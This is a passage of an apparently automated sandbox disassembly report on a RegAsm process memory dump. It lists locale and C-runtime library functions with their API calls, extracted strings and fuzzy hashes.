GetLocaleInfoW.KERNEL32(?,20001004,00560D1F,00000002,00000000,?,?,?,00560D1F,?,00000000), ref: 00560ACF
GetACP.KERNEL32(?,?,00560D1F,?,00000000), ref: 00560AE4

Strings

ACP, xrefs: 00560A2B
OCP, xrefs: 00560A61

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ebcad332e2c7c027143238fac012b2802e9cfdeedf4e6ef925141dee2e0f086f
Instruction ID: 737a64329af9901d05e6d47917e43e6eddcbd1a901434644ddac12d22c904e0b
Opcode Fuzzy Hash: ebcad332e2c7c027143238fac012b2802e9cfdeedf4e6ef925141dee2e0f086f
Instruction Fuzzy Hash: 9F21A432600301AADB35DB94C901A977AA6FB50BD4B16A864E90AD7180F732DD40D750

Function 00560BE9 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00560CF1
IsValidCodePage.KERNEL32(00000000), ref: 00560D2F
IsValidLocale.KERNEL32(?,00000001), ref: 00560D42
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00560D8A
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00560DA5

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 6fa05b6ed5c8c066af6d9efed3996fb69aedb964f4713671ad22a717301438dc
Instruction ID: 22cb3e0dd9e87ecbd21cfe83c5cdc24be9763c96d9e9ec9f10e9ac3d832f1453
Opcode Fuzzy Hash: 6fa05b6ed5c8c066af6d9efed3996fb69aedb964f4713671ad22a717301438dc
Instruction Fuzzy Hash: 35515F71A0020AAFEB10DFA5DC45AAFBBB8BF54700F145569F911E71D0EBB0AE44CB61

Function 00560274 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

GetACP.KERNEL32(?,?,?,?,?,?,00556036,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00560333
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00556036,?,?,?,00000055,?,-00000050,?,?), ref: 0056036A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 005604CD

Strings

utf8, xrefs: 0056043C

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: ecb3ccac4cfa858dbe3a4f9b5a5d7de6d94c895d147237c99dccbb61dcd39615
Instruction ID: 4e69425b8d219e4520d202db39861bafbfd5ed4e45ca595549d0b295037e0066
Opcode Fuzzy Hash: ecb3ccac4cfa858dbe3a4f9b5a5d7de6d94c895d147237c99dccbb61dcd39615
Instruction Fuzzy Hash: EC71F671600206ABDB24AB74CC5ABBB7BA8FF44711F14582AFA05DB1C1FB74E944C761

Function 005168C0 Relevance: 5.6, Strings: 1, Instructions: 4379COMMON

Download Yara Rule

Strings

P, xrefs: 00516901

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 376609d3c657e3c799ba9f893e809c425dc6a5f1c768ca3c4aa5c7d0c38cb051
Instruction ID: 119fb8437cbda3c490fd2d64b35aa94ee4629628b4db0459e6b4fb6c4a854c90
Opcode Fuzzy Hash: 376609d3c657e3c799ba9f893e809c425dc6a5f1c768ca3c4aa5c7d0c38cb051
Instruction Fuzzy Hash: C4A33D75A001198BEB58CFACE954B9DB7B6FB88300F2581B9DD5997790EB30AE41CF40

Function 005128D0 Relevance: 5.4, Strings: 2, Instructions: 2897COMMON

Download Yara Rule

Strings

B+A, xrefs: 00512A01, 00512C87, 00512F0B, 00513190, 00513422, 005136BC, 00513953, 00513BEB, 00513E84, 0051411E, 005143B8, 00514650, 005148EB, 00514B85, 00514E1C, 005150B4
@, xrefs: 0051290A

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: @$B+A
API String ID: 0-3040101116
Opcode ID: 9bb605674edaf389dd30fbc0578e42b5949409c21074c620711df207dcc3020b
Instruction ID: 3578571bafa318f0d903f71ab0c12e6f4e63a33d9e59a365accc0ab898e81c27
Opcode Fuzzy Hash: 9bb605674edaf389dd30fbc0578e42b5949409c21074c620711df207dcc3020b
Instruction Fuzzy Hash: 814340F2B001188BEB1CDF6CD99579E7AA6FBC8300F644179DB199B784E6389E41CB44

Function 0053F870 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,0041F6CD,?,00000000), ref: 0053F884
FormatMessageA.KERNEL32(00001300,00000000,?,00000000,0041F6CD,00000000,00000000,?,?,0041F6CD,?,00000000), ref: 0053F8AB

Strings

!x-sys-default-locale, xrefs: 0053F87F

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 8d23f896fec52060017de90635f926efe441123acf7e6359c8c5ca0cd7176abf
Instruction ID: 5feb17b4d3144c6e29b9d70d70cd2a686e8fde12ee576c6e14b381fd652d7c46
Opcode Fuzzy Hash: 8d23f896fec52060017de90635f926efe441123acf7e6359c8c5ca0cd7176abf
Instruction Fuzzy Hash: 52F03075A10105FFFB089B95DC0ADAFBFACEB09350F004425FA41D6150E2B0AE009770

Function 0054009B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,0056A50D,000000FF,?,0053FD64,?,?,?,?,0042B77B), ref: 005400D3
GetSystemTimeAsFileTime.KERNEL32(?,56A9C068,?,?,0056A50D,000000FF,?,0053FD64,?,?,?,?,0042B77B), ref: 005400D7

Strings

uS, xrefs: 005400CD

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID: uS
API String ID: 743729956-336044122
Opcode ID: 2695fee6a449c3401938edb043aae99d86f37b2fdb2fa7f11e92b389907897f7
Instruction ID: de4ab54f658cddc9c38d3431df4de3107a9968bc7d3f701f869f0e5497b64ae4
Opcode Fuzzy Hash: 2695fee6a449c3401938edb043aae99d86f37b2fdb2fa7f11e92b389907897f7
Instruction Fuzzy Hash: 0FF0E536904654EFCB01CF04DC04F99BBA8FB08B24F10062AEC13F3790D779A9049B90

Function 00560691 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005606E5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0056072F
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005607F5

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 5cc1575ac07fd1be7788e5f52ec1c3c90b06fb577efd8ff3707faefbb15aa9ba
Instruction ID: b8825ce0ddcd1ff02980f796ec14153105a16f0078d0fade5c184c9dc00cbca3
Opcode Fuzzy Hash: 5cc1575ac07fd1be7788e5f52ec1c3c90b06fb577efd8ff3707faefbb15aa9ba
Instruction Fuzzy Hash: E9618D71A012179FEB68DF28CD86BAB7BA8FF04310F145169E905C71C1EB78E984DB90

Function 0055ABF4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00556BAC,?,20001004,00000000,00000002,?,?,0055619E), ref: 0055AC28

Strings

uS, xrefs: 0055AC13

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale
String ID: uS
API String ID: 2299586839-336044122
Opcode ID: e34368def71fabd4a441d00151e151d323ee67c6db8f94685c55ba95184f5b7e
Instruction ID: 27abaa2e25e6ec570ad70da9bd4b10dba6e32fa2f97ba4800da66809e5379cf4
Opcode Fuzzy Hash: e34368def71fabd4a441d00151e151d323ee67c6db8f94685c55ba95184f5b7e
Instruction Fuzzy Hash: 2AE04F7554021DBBDF122F60ED18E9E7F26FF44752F104612FC0566121CB718D65AAA2

Function 00561B30 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00561B2B,?,?,00000008,?,?,005661AF,00000000), ref: 00561D5D

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c2532dab4745686694daa06eff4012e8b9c28c0aea3c39add6e09008151d58b4
Instruction ID: 72827e28d31d0038ee9fe0c8b180951c999ea3bc6ed557d1560387f5e8f0cd98
Opcode Fuzzy Hash: c2532dab4745686694daa06eff4012e8b9c28c0aea3c39add6e09008151d58b4
Instruction Fuzzy Hash: 58B14A35610A089FD719CF28C48AB687FE0FF45365F298658E89ACF2A1C335ED91CB44

Function 00402630 Relevance: 1.6, Strings: 1, Instructions: 374COMMON

Download Yara Rule

Strings

, xrefs: 004026C5

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: ddf757d4eb572ce9c7ac58c16768cf7cfe6af9bcdd981bc60d8a88b270b51dd8
Instruction ID: 55c486ba50a35ba54aa984b8c88b81cbdf7c34597331c6b024ae446141c47caf
Opcode Fuzzy Hash: ddf757d4eb572ce9c7ac58c16768cf7cfe6af9bcdd981bc60d8a88b270b51dd8
Instruction Fuzzy Hash: 4E0239B1A04119DBDB18CF5CD981AADB7B2FF85304F2481B9D606AB785D634EF02EB44

Function 00402100 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

, xrefs: 00402163

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: b7068c555860520118bae3b4ac0000e1a1d2df2512953dbc426622d512102231
Instruction ID: 9eb3f924e8b4232f489ccaa91a49f08e4bccba820dfbdc013bc4dd6a1b793913
Opcode Fuzzy Hash: b7068c555860520118bae3b4ac0000e1a1d2df2512953dbc426622d512102231
Instruction Fuzzy Hash: 1BF1F871904219DBEB18CF5CD551BADB7B2EF89304F2481B9D606AB785C638EF02EB44

Function 005608E4 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00560938

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: fcf3895c23e0d12459bf05b3cdfa443e3784f7f002f0e505330fd32bf9724211
Instruction ID: f167be68da6cba3b94b508fb26314bc8fb4e8a09ad721ba7b90ac913828a93ef
Opcode Fuzzy Hash: fcf3895c23e0d12459bf05b3cdfa443e3784f7f002f0e505330fd32bf9724211
Instruction Fuzzy Hash: EC21D372614206ABEF289B28CC46A7B7BA9FF40310F14106AFD01D7182EB74DD40CB50

Function 0056056B Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

EnumSystemLocalesW.KERNEL32(00560691,00000001,00000000,?,-00000050,?,00560CC5,00000000,?,?,?,00000055,?), ref: 005605DD

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2302fc989511a61a6341303f2fb938fb449667c785ec37a17127a3adfef2c5ee
Instruction ID: 88d3edcc5594b990dec5f0f468fceaeacf04ba4490dd3c0308e73d1cfc152e58
Opcode Fuzzy Hash: 2302fc989511a61a6341303f2fb938fb449667c785ec37a17127a3adfef2c5ee
Instruction Fuzzy Hash: 4011E5362007055FDB189F39D8A55BBBBA2FFC0358B14442DE9878BA80D771B952CB40

Function 00560B13 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0056098E,00000000,00000000,?), ref: 00560B3F

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a000521a1b8166d69cfdff1fba103528d2541d5e406cc297f0b6b9268b6faa8e
Instruction ID: 071c0e53b1cbfedcc9781c8b103cf0c166276c39c6a382b39346100c2bb950ff
Opcode Fuzzy Hash: a000521a1b8166d69cfdff1fba103528d2541d5e406cc297f0b6b9268b6faa8e
Instruction Fuzzy Hash: A501DB326101167BDB185A24D805BBF3B68FF40758F158429ED06A31D0DA70FD41C690

Function 00560479 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 005604CD

Strings

utf8, xrefs: 0056043C

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: fa76924ba7dcb4cac621793e95aeb3d55b6527b35eaca9f48b308d4aae052b8c
Instruction ID: e86287f522ab647638cf9cde0d680dfada0add3aba76a80579947fe8b819bde0
Opcode Fuzzy Hash: fa76924ba7dcb4cac621793e95aeb3d55b6527b35eaca9f48b308d4aae052b8c
Instruction Fuzzy Hash: 6CF0A932610206ABD714AB34DC599BB77DCEB55315F10017AFA02E72C1DE78AD458750

Function 00560606 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

EnumSystemLocalesW.KERNEL32(005608E4,00000001,?,?,-00000050,?,00560C8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00560650

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 7503fc05642f47596caccdc37b33f2b4bc0c73a8e4e22d1781419e11bf4177e6
Instruction ID: f56d249ab91ac548dff3b6e1e0987e3346115741609a770182cfb837293ceb15
Opcode Fuzzy Hash: 7503fc05642f47596caccdc37b33f2b4bc0c73a8e4e22d1781419e11bf4177e6
Instruction Fuzzy Hash: A6F0C2362003045FDB249F39D895A6B7F95FBC0768F05452DF9058B6D1C6B19C82D650

Function 0055A725 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00558C01: EnterCriticalSection.KERNEL32(-00172DB0,?,00554AB2,00000000,005888B0,0000000C,00554A7A,?,?,0055C2B9,?,?,0055A28F,00000001,00000364,0041C3C8), ref: 00558C10

EnumSystemLocalesW.KERNEL32(0055A718,00000001,00588B70,0000000C,0055AAF0,00000000), ref: 0055A75D

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: f2588008cb84fb71bc62c284b757f7e79301faa1d7f59c0035dc03f3fdb7a16c
Instruction ID: 2bf7a53e1ecd4a2700e92f13b87f47b84aa2bfb7e43c1a8dbfe197ed735bb432
Opcode Fuzzy Hash: f2588008cb84fb71bc62c284b757f7e79301faa1d7f59c0035dc03f3fdb7a16c
Instruction Fuzzy Hash: 53F04F76A11205DFD700EF98E856BAD7BF0FB88725F10412BF801EB290CB7559089F51

Function 00560520 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

EnumSystemLocalesW.KERNEL32(00560479,00000001,?,?,?,00560CE7,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00560557

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 433f7082c7aca7455fd27364a80e2a65d60f7d668e02ed5d8cf12382729cb35b
Instruction ID: 5857d245acb63576c26f5e43ecd3d6841b0e84a395acfde55833b52c304f2aaf
Opcode Fuzzy Hash: 433f7082c7aca7455fd27364a80e2a65d60f7d668e02ed5d8cf12382729cb35b
Instruction Fuzzy Hash: 06F0553630024997CB149F39E829A6B7F90FFC1710F064059EE068B6A0C672D882CB50

Function 00429830 Relevance: .8, Instructions: 805COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 11f3296da4b5e55262a2731adcdc306a272c5bacea9a5d809cc6f79967e7d64b
Instruction ID: fbfbde407a75110e468896e4c133040f93cd01430755e2bddfb117ca99a55ad2
Opcode Fuzzy Hash: 11f3296da4b5e55262a2731adcdc306a272c5bacea9a5d809cc6f79967e7d64b
Instruction Fuzzy Hash: FA823970E05268CFCB14CF68D890BEEBBB1BF4A308F1480DAD449AB342D6356A95DF55

Function 0041E9E0 Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c049fea0587f2db1f4662157ec79a78044502c1a8670236d3b03dfb8f1b4a481
Instruction ID: 964a5492bb241a8e73cac1210e25911525ab570bb12a488796be4c2d20b6ea04
Opcode Fuzzy Hash: c049fea0587f2db1f4662157ec79a78044502c1a8670236d3b03dfb8f1b4a481
Instruction Fuzzy Hash: E252C374E04259DFDB18CF99C990AEDBBB2BF89300F248199D859AB344C734AE85CF54

Function 0054D74A Relevance: .3, Instructions: 333COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55b9707633dc364a9c8cf6449de5eb8eb66ec2b456ec00ba28995915961155aa
Instruction ID: 8fc4608b820e3c7a72adbef0ff3116246d9b918acc51e1622824149dc4b6a94a
Opcode Fuzzy Hash: 55b9707633dc364a9c8cf6449de5eb8eb66ec2b456ec00ba28995915961155aa
Instruction Fuzzy Hash: 92C1EF3090460A8FCB29CF69C888AFABFB1FF4631CF144A59E45697692D330AD45CB71

Function 0040B5E0 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e765b4533475400f631856259a7948c8f25fdb73bc399102473e2b3971cff198
Instruction ID: 9db34083678c29dab19949c349dba00d5bf3ee623cd75a7257d76756388f4a13
Opcode Fuzzy Hash: e765b4533475400f631856259a7948c8f25fdb73bc399102473e2b3971cff198
Instruction Fuzzy Hash: 1EC121B5E00109EBDB04DFA9D881AAEB7B6FF88300F14C52AE515B7385D7389941CB9D

Function 005166C5 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85921138fd773b456169ee97d6b744cd53be6f2ad74fab9bb3c551b4129d8de8
Instruction ID: 8b6731cc5d099de74c8588a9a95012faa0beb6c3b2b28fcc998f57c8910cd60d
Opcode Fuzzy Hash: 85921138fd773b456169ee97d6b744cd53be6f2ad74fab9bb3c551b4129d8de8
Instruction Fuzzy Hash: 5901ECA0035F7361C7C7FB318210246E3A0BF5955E7441A528514C9C68EB7FFD9D61B4

Function 00544C22 Relevance: 70.4, APIs: 11, Strings: 29, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00544C95
shared_ptr.LIBCMT ref: 00544CDD
shared_ptr.LIBCMT ref: 00544CFC
operator+.LIBVCRUNTIME ref: 00544E2A
DName::operator=.LIBVCRUNTIME ref: 00544E3C
shared_ptr.LIBCMT ref: 00545081
DName::operator+.LIBCMT ref: 005450C3
operator+.LIBVCRUNTIME ref: 00545109

Strings

const, xrefs: 00544F2D
this , xrefs: 00545009
char16_t, xrefs: 00544FBB
int, xrefs: 00544CAF
short, xrefs: 00544C9F
char32_t, xrefs: 00544FC7
__int32, xrefs: 00544E82
__int64, xrefs: 00544E76
wchar_t, xrefs: 00544FD3
unsigned , xrefs: 005450A2
signed , xrefs: 00544D8A
char8_t, xrefs: 00544FAF
<unknown>, xrefs: 00544F9C
void, xrefs: 00544D25
long , xrefs: 00544CEA
char, xrefs: 00544C80
__int128, xrefs: 00544E63
decltype(auto), xrefs: 00544FEB
long, xrefs: 00544CBF
__int8, xrefs: 00544DF7
float, xrefs: 00544CC8
auto, xrefs: 00544FDF
UNKNOWN, xrefs: 0054506C
volatile, xrefs: 00544F4B
double, xrefs: 00544D04
volatile, xrefs: 00544F6B
bool, xrefs: 00544E8E
__w64 , xrefs: 00544E18
__int16, xrefs: 00544DEB

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: shared_ptr$operator+$Name::operator+Name::operator=
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 1464150960-1482988683
Opcode ID: 97d89e91f73edd29426c38dfb520c3a0690f1fee51e02e2ca597e152d1bbdcd5
Instruction ID: a74152ec3fe6cbcdd6e66ed103a54149bf6b53857fb999c1198e7a9fbac2c6eb
Opcode Fuzzy Hash: 97d89e91f73edd29426c38dfb520c3a0690f1fee51e02e2ca597e152d1bbdcd5
Instruction Fuzzy Hash: 2AE17BB5D0420ADBCB04DFA4C49DAFEBFB8BB08308F10855AD515A7252E7755B09CFA1

Function 00548502 Relevance: 30.0, APIs: 10, Strings: 7, Instructions: 297COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005485D8
UnDecorator::getSignedDimension.LIBCMT ref: 005485E3
UnDecorator::getSignedDimension.LIBCMT ref: 005486CF
UnDecorator::getSignedDimension.LIBCMT ref: 005486EC
UnDecorator::getSignedDimension.LIBCMT ref: 00548709
DName::operator+.LIBCMT ref: 0054871E
UnDecorator::getSignedDimension.LIBCMT ref: 00548738
_swprintf.LIBCMTD ref: 005487B2
DName::operator+.LIBCMT ref: 0054880D

Part of subcall function 00544647: DName::DName.LIBVCRUNTIME ref: 005446A5

DName::DName.LIBVCRUNTIME ref: 00548884

Strings

uS, xrefs: 0054877F
NULL, xrefs: 00548596
`generic-class-parameter-, xrefs: 00548819
`generic-method-parameter-, xrefs: 005487E9
nullptr, xrefs: 0054884D
`template-type-parameter-, xrefs: 00548829
lambda, xrefs: 0054886D

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$_swprintf
